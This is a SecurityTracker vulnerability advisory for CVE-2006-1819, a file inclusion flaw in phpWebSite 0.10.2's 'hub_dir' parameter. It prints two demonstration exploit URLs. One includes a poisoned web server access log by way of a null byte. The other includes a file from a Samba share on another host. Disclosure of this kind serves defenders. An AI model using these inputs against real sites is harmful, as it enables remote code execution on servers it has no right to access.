SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   phpWebSite Vendors:   phpWebSite Development Team
phpWebSite Include File Bug in 'hub_dir' Parameter May Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1015942
SecurityTracker URL:  http://securitytracker.com/id/1015942
CVE Reference:   CVE-2006-1819   (Links to External Site)
Updated:  Nov 27 2009
Original Entry Date:  Apr 15 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.10.2
Description:   rgod reported a vulnerability in phpWebSite. A remote user can include and execute PHP code located on the target system. A remote user may be able to exploit this to execute arbitrary PHP code on the target system.

The software does not properly validate user-supplied input. If magic_quotes_gpc is disabled, a remote user can supply a specially crafted URL to cause the target system to include and execute PHP code from a file on the target system. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00

A remote user can inject arbitrary PHP code into a file on the target system (such as a web server access log) and then exploit the include file bug to cause the arbitrary PHP code to be executed.

On PHP versoin 5, a remote user can cause a 'conf/config.php' file on a Samba share to be included and executed. A demonstration exploit URL is provided:

http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\

The original advisory is available at:

http://retrogod.altervista.org/phpwebsite_0102_incl_xpl.html

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  phpwebsite.appstate.edu/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  PHPWebSite <= 0.10.2 "hub_dir" arbitrary local inclusion

http://retrogod.altervista.org/phpwebsite_0102_incl_xpl.html
 
rgod
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC